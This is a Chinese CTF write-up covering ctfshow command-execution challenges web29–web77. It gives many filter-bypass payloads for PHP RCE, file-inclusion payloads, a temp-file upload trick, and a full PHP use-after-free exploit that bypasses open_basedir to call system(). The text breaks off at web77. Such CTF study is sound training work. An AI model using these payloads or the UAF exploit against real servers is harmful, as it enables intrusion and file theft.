Ctfshow 命令执行 web29
pregmatch
是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))
,/i
忽略大小写
可以利用system来间接执行系统命令
flag采用f*
绕过,或者mv fl?g.php 1.txt
修改文件名,或者cat 反引号ls反引号
linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
Ctfshow 命令执行 web30
多了对system和php的过滤
用*
绕过和passthru
Ctfshow 命令执行 web31
过滤flag
system
php
cat
sort
shell
.
空格
'
过滤了空格,可以使用%09
替代;也可以使用{$IFS}
或者$IFS$1
传参如下:
?c=passthru("tac%09fla*");
Ctfshow 命令执行 web32
过滤flag
system
php
cat
sort
shell
.
空格
'
反引号
echo
之前的方法都没有用了。无所谓,文件包含会出手。
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web33
又加了(
和"
的过滤,没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
此外,这里日志包含也是可行的。
Ctfshow 命令执行 web34
好的这下:
也被过滤了。没事,文件包含还能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Ctfshow 命令执行 web35
<
和=
也被过滤了,没关系,文件包含还能出手
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令执行 web36
加了对/
和数字0-9
的过滤,还是文件包含,一样的payload。
Ctfshow 命令执行 web37
好家伙直接给我文件包含了是吧
Payload: (采用了base64编码绕过过滤)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== //(<?php system("tac flag.php");?>)
Ctfshow 命令执行 web38
Payload不变。
Ctfshow 命令执行 web39
虽然强加了后缀,但是不影响。因为?>
已经闭合PHP语句了。
?c=data://text/plain,<?php system("tac fla*.php");?>
Ctfshow 命令执行 web40
过滤了很多东西。只有空格,分号,英文括号还可以用。
看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。
两种payload。
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)
除了无参RCE,还有个利用session的方法。
payload:
?c=session_start();system(session_id());
session_id(PHPSESSID)就是要执行的命令。
但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。
Ctfshow 命令执行 web41
无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)
代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)
查看目录。
Ctfshow 命令执行 web42
先看源码,一个新东西>/dev/null 2>&1
含义:
1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
>
代表重定向到哪里,例如:echo “123” > /home/123.txt
1
表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2
表示stderr标准错误
&
表示等同于的意思,2>&1,表示2的输出重定向等同于1
绕过方法就是在命令后面加截断命令 ;
或 %0a
或 %26(&)
或 ||
。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null
就是执行了命令1
和命令2 1>/dev/null
,虽然命令2被重定向了,但是命令1没有。
Ctfshow 命令执行 web43
过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\
、'
、"
。
Payload:
?c=tac flag.php%26
Ctfshow 命令执行 web44
加了一个对flag
的过滤,我们用转义符绕过。
Payload:
?c=nl%20fl\ag.php||
Ctfshow 命令执行 web45
加了对空格
的过滤,用%09
代替。
Payload:
?c=tac%09fla*||
Ctfshow 命令执行 web46
2023.8.16时隔半年,强迫症迫使我把基础给算完。
增加了对数字
、*
、$
的过滤,空格可以用<>
或者<
或者%09
代替(%09是URL编码,不是数字),过滤了通配符*
但是?
也不能用了,所以flag
用转义符\
或者''
。
payload:
?c=nl<fla''g.php|| //在源码里面?c=tac<fla\g.php||
发现一个奇怪的payload:这里通配符?
又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<
和?
不能同时用**,上面的payload改成c=tac%09fla?.php||
就好啦
?c=awk%09'/f/'%09fla?.php||等价于?c=awk%09'/f/{print}'%09fla?.php||
确实能用,解释一下。这个payload就是输出flag.php
文件中包含字符串f
的行。
如果我们把f
换成ctfshow
,那就只输出flag了。
参考文章:
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow 命令执行 web47
又多过滤了一些命令执行函数more
less
head
sort
tail
。但是没过滤我最喜欢的tac
、nl
和awk
。
payload不变:
?c=nl<fla''g.php|| //在源码里面?c=tac<fla\g.php||?c=awk%09'/f/'%09fla?.php||
Ctfshow 命令执行 web48
再多过滤了一些命令执行函数sed
cut
awk
strings
od
curl
和反引号
。但是没过滤我最喜欢的tac
和nl
。
payload不变:
?c=nl<fla''g.php|| //在源码里面?c=tac<fla\g.php||
Ctfshow 命令执行 web49
多过滤了百分号%
,对我的payload没影响,我空格是用<
绕过的。
payload不变:
?c=nl<fla''g.php|| //在源码里面?c=tac<fla\g.php||
Ctfshow 命令执行 web50
多过滤了\x09
(水平制表符tab)和\x26
(&),对我的payload没影响。
payload不变:
?c=nl<fla''g.php|| //在源码里面?c=tac<fla\g.php||
Ctfshow 命令执行 web51
多过滤了tac
,payload还有一个能用。
payload不变:
?c=nl<fla''g.php|| //在源码里面
# Ctfshow 命令执行 web52
多过滤了<
和>
,但是没过滤$
,上题payload把空格用$IFS
或者${IFS}
绕过就行。
payload:
?c=nl$IFS/fla''g|| //flag在根目录?c=nl${IFS}/fla''g|| ?c=ta''c$IFS/fla''g|| ?c=c''at${IFS}/fla''g||
Ctfshow 命令执行 web53
过滤不变,这次也没有重定向了。
payload:
?c=nl${IFS}????.????c=nl$IFSfla''g.php|| ?c=nl${IFS}fla''g.php|| ?c=ta''c$IFSfla''g.php|| ?c=c''at${IFS}fla''g.php||
Ctfshow 命令执行 web54
这次过滤的有点猛。
除了符号反引号
、\x09
、\x26
、%
、<
、>
、*
之外,cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
也被过滤了,而且无法使用转义符绕过。
用别的命令读取flag
?c=uniq${IFS}f????????c=grep${IFS}'tf'${IFS}fl???php(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)
使用文件执行命令+通配符绕过过滤(注意,这里ca?${IFS}f???是不可以的)
/bin
这个目录。
bin
为binary
的简写,主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=/bin/ca?${IFS}f???????
复制文件
?c=mv${IFS}fl?g.php${IFS}x.txt
Ctfshow 命令执行 web55
hint:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
过滤了所有字母
和反引号
、\x09
、\x26
、%
、<
、>
。这题考察无字母RCE。
方法一:
使用文件执行命令+通配符绕过过滤
?c=/???/????64 ????.???// 即/bin/base64 flag.php//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有?c=/???/???/????2 ????.???// 即/usr/bin/bzip2 flag.php//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
方法二:
这题是命令执行不是代码执行,不能进行异或/拼接等操作。如果是eval()
中内容可控(代码执行)才可以进行异或/拼接等操作,因为识别异或/拼接等操作的是PHP代码不是终端(cmd)。
【强制文件上传下的无字母数字RCE】
这题考PHP强制文件上传机制。
PHP超全局变量如下
$_GET //存放所有GET请求$_POST$_SERVER$_COOKIE$_SESSION$_FILES //存放所有文件
在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx
中
这个文件最后六位xxxxxx
有大小写字母、数字组成,生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母(i)和数字。
故我们要匹配/tmp/phpxxxxxx
的话可以用通配符/???/?????????
/???/?????????
范围太大了,我们如何缩小范围呢。
查看ascii码表,A前面是@,Z后面是[
/???/????????[@-[]
就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[@-[]
就能匹配到这个文件
linux中 .
代表执行一个文件,相当于source
可以执行sh命令。
如果上传的文件是一个shell脚本,那么. /???/????????[@-[]
(burp里面空格要写成+
或者%20
)就能执行这个shell脚本,实现RCE。
如何强制上传文件?
我们可以在vps上写一个表单文件
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="gogogo!" /> </form>
访问vps上的upload.html
上传内容为whoami
的txt
文件。同时抓包。
改一下包。发现能正常执行了,并且返回了结果。
获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)
Ctfshow 命令执行 web56
这次把数字
也过滤了。
和上题一样,PHP强制上传文件机制还是可以使用滴。
Ctfshow 命令执行 web57
这次过滤了很多。过滤了点号.
,不能用PHP强制上传文件机制
preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
题目提示flag in 36.php
。
关键代码:system("cat ".$c.".php");
。
我们可控的是$c
,根据提示,我们只需要构造出36
即可。
先补个前置知识:二进制取反
二进制中第一位为符号位,0代表正数,1代表负数,如 0000 0001
是+1
,1000 0001
是-1
。同时加上补码原码等相关概念,就可以理解二进制取反。
结论:如对 a 按位取反,则得到的结果为 -(a+1)。36
取反是-37
,-37
取反是36
。
详细请看:https://zhuanlan.zhihu.com/p/261080329
在linux中
${_}
代表上一次命令执行的结果
$(())
代表做运算,为0
$((~$(())))
代表~0
(0取反)为-1
$((~$(()))) $((~$(()))) $((~$(())))
代表-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
代表-1-1-1
做运算就是-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
代表-1-1-1
做运算后-3
取反就是2
中间37个$((~$(())))
就是-37
,取反后就是36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
flag在源码中。
Ctfshow 命令执行 web58
这题无过滤,但是开始禁用函数了。
一般是先看phpinfo
查看被禁用的函数。但是这里phpinfo
也被禁用了,只能一个一个尝试。
禁用了phpinfo
、system
、shell_exec
等
Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
读文件的函数有这些:
file_get_contents()highlight_file()show_source()fgets()file()readfile()fopen()
读文件函数payload:
c=echo file_get_contents('flag.php');c=echo highlight_file('flag.php');c=highlight_file("flag.php");c=show_source('flag.php');c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}//file()函数:把整个文件读入一个数组中c=print_r(file('flag.php'));c=var_dump(file('flag.php'));c=readfile("flag.php");//一行一行读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一个一个字符读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
也可以复制、重命名文件:
copy("flag.php","flag.txt"); rename("flag.php","flag.txt");
文件包含直接读取flag:
c=include('flag.php');echo $flag;c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.phpc=include('flag.php');var_dump(get_defined_vars());//var_dump:输出注册变量//get_defined_vars():函数返回由所有已定义变量所组成的数组
此外,还能使用无参RCE、日志包含等方法,就不一一列举了。
Ctfshow 命令执行 web59
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web60
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web61
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web62
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web63
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web64
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web65
源码一样,函数多禁用了几个,做法同web58。
Ctfshow 命令执行 web66
相较于web58,源码一样,但是之前payload都用不了了,仔细一查是flag文件路径变了。
回忆一下Y4爷博客给了两种读取文件路径方式
c=print_r(scandir(dirname('__FILE__')));
(查看根目录:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
我们先看看当前目录:
c=print_r(scandir(dirname('__FILE__')));
确实没有flag。
再看看根目录:
c=print_r(scandir('/'));
发现flag在根目录flag.txt
文件中,那么把之前的payload中的flag.php
换成/flag.txt
就行了。
Ctfshow 命令执行 web67
源码还是一样,相较于wen66,过滤了print_r()
函数,我们用var_dump()
函数替换。flag还是在根目录flag.txt
文件中。
看看根目录:
c=var_dump(scandir('/'));
其他同web66、web58。
Ctfshow 命令执行 web68
又ban了highlight_file()
函数,导致我们看不见源码。但是源码还是一样的。
我们还有很多方法。同web67。
Ctfshow 命令执行 web69
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]
从web58到这里,文件显示的代码,比如show_source
、highlight_file
、file_get_contents
等基本都被禁了,但是文件包含一直屹立不倒,还是本篇文章开头那句,无所谓,文件包含会出手。
学到这里我发现,从一开始感觉web板块的知识点是一座一座孤岛,到现在有部分知识能融合到一起,算是有所成长吧。
这题把var_dump()
函数ban了,可以用var_export()
函数替换。
此外,如果scandir()
被过滤可以用glob()
。用法var_dump(glob('/*'));
看看根目录:
c=var_export(scandir('/'));
命令执行拿flag。
c=include('/flag.txt');var_export(get_defined_vars());
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]
Ctfshow 命令执行 web70
做法同web69。
Ctfshow 命令执行 web71
这题附件给了源码,源码如下:
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>
ob_get_contents()
:得到缓冲区的内容(数据)。
ob_end_clean()
:会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace("/[0-9]|[a-z]/i","?",$s)
:把存放缓冲区内容的变量$s
的内容都替换为问号。用之前payload发现输出的一大堆问号,就是因为这句话。
方法一:(这个方法目前网上只有我这篇有,雅虎~)
既然eval()
函数给了我们执行任意代码的力量,那我们模仿源码,以其人之道还之其人之身。
payload:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
方法二:
也可以用exit()/die()提前结束代码,这样就不会将字符替换为问号
playload:
c=include('/flag.txt');var_export(get_defined_vars());exit();或者c=include('/flag.txt');var_export(get_defined_vars());die();
方法三:
其实方法一和方法三原理是一样的,都是手动输出缓冲区。不过这种方法输出的字符肉眼不可识别。。。
c=include("/flag.txt");echo ~ob_get_contents();
自动化POC:
import requestsurl = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}s = requests.post(url, d).contentfor i in s: print(chr(~i&0xff), end='') # 脚本来自群里阿狸师傅
Ctfshow 命令执行 web72
源码不变。
这题flag位置又变了。就像她,是如此的善变。
读目录。
c=var_export(scandir('/'));exit();
发现读不了,有open_basedir
配置项限制,把目录限制在了/var/www/html/
。
open_basedir
配置项在NepNepCTF-2023的Ez_include中也出现过。
我们可以利用glob伪协议
,glob伪协议
在筛选目录时不受open_basedir
制约。也就是web58中,Y4师傅给的第二种查看目录的方法。
查看根目录,发现flag在flag0.txt
文件中。
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
知道了flag文件的位置,接下来就是如何绕过open_basedir
制约读取文件,这里大师傅们给了一个脚本:
<?phppwn("命令");function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}
脚本中str_repeat()
函数被过滤了,我们使用sprintf()
函数替换。
payload需要根据需要闭合源码
、修改命令
、URL编码
(本篇wp中是未编码的)。
c=?><?phppwn("tac /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf('%c',$ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf('%c',$v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}
Ctfshow 命令执行 web73
源码一样,这题比web72还少了一个open_basedir
配置项制约。
读根目录,flag在flagc.txt
文件中
c=var_export(scandir('/'));exit();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191925376.png)]
但是这里把include
读取flag。
c=include('/flagc.txt');var_export(get_defined_vars());die();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191929591.png)]
Ctfshow 命令执行 web74
源码一样。
禁用了scandir()
函数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191933891.png)]
读取根目录:(flag在flagx.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();或者c=var_export(glob('/*'));die();
其余同web73。
c=include('/flagx.txt');var_export(get_defined_vars());die();
Ctfshow 命令执行 web75
看起来和之前一样。
这题又加上了open_basedir
限制。
读取根目录:(flag在flag36.txt
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
尝试web72的脚本读取flag失败了。
官方hint的解法是:
利用mysql
的load_file
读文件,绕过open_basedir
限制。(只限制了PHP的访问目录,不关MYSQL的事情)
数据库名、账号密码可以通过之前的题目(过滤少的)拿到。所以这个方法条件是必须要有数据库名、账号密码
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,应用条件是PHP>5.1
payload:
c=try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null;} catch (PDOException $e) { echo $e->getMessage(); exit(0);}exit(0);
Ctfshow 命令执行 web76
同web75,flag文件名是flag36d.txt
。
payload:
c=try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null;} catch (PDOException $e) { echo $e->getMessage(); exit(0);}exit(0);
Ctfshow 命令执行 web77
题目描述:命令执行最后一题,php7.4,基本上命令执行就告一段落了(php7.4应该想到FFI)
看上去和之前一样,只是看上去。
读取根目录:(flag在/readflag
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
但是PDO那个方法不能用了
这题利用FFI扩展用C语言(?)执行命令,绕过open_basedir
限制。(只限制了PHP的访问目录,不关C语言的事情)
FFI:php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。
参考文章:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
payload:(记得去掉注释)
